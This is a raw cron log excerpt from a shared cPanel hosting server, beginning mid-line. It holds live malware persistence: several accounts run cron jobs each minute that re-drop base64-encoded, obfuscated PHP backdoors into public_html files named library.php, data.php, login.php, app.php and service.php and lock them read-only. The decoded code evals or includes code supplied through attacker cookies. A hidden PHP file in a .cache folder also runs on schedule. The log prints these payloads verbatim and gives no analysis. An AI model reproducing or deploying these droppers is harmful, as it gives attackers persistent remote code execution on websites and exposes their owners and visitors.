bl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:03:01 medusa CROND[17147]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:04:01 medusa CROND[5426]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 12:04:01 medusa CROND[5440]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:04:01 medusa CROND[5439]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:04:01 medusa CROND[5442]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:04:01 medusa CROND[5444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:04:01 medusa CROND[5445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:04:01 medusa CROND[5446]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:04:01 medusa CROND[5447]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:04:01 medusa CROND[5443]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:04:01 medusa CROND[5451]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:04:01 medusa CROND[5450]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:04:01 medusa CROND[5455]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:04:01 medusa CROND[5463]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:05:01 medusa CROND[23510]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 12:05:01 medusa CROND[23518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:05:01 medusa CROND[23546]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:05:01 medusa CROND[23678]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 12:05:01 medusa CROND[23761]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 12:05:01 medusa CROND[23762]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 12:05:01 medusa CROND[23764]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 12:05:01 medusa CROND[23763]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 12:05:01 medusa CROND[23765]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 12:05:01 medusa CROND[23766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:05:01 medusa CROND[23768]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 12:05:01 medusa CROND[23774]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:05:01 medusa CROND[23775]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:05:01 medusa CROND[23776]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:05:01 medusa CROND[23778]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:05:01 medusa CROND[23780]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:05:01 medusa CROND[23783]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 12:05:01 medusa CROND[23789]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 12:05:01 medusa CROND[23792]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:05:01 medusa CROND[23795]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 12:05:01 medusa CROND[23796]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 12:05:01 medusa CROND[23805]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:05:01 medusa CROND[23816]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:05:01 medusa CROND[23784]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 12:06:01 medusa CROND[10519]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:06:01 medusa CROND[10574]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:06:01 medusa CROND[10816]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 12:06:01 medusa CROND[10817]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:06:01 medusa CROND[10818]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:06:01 medusa CROND[10819]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 12:06:01 medusa CROND[10820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:06:01 medusa CROND[10821]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
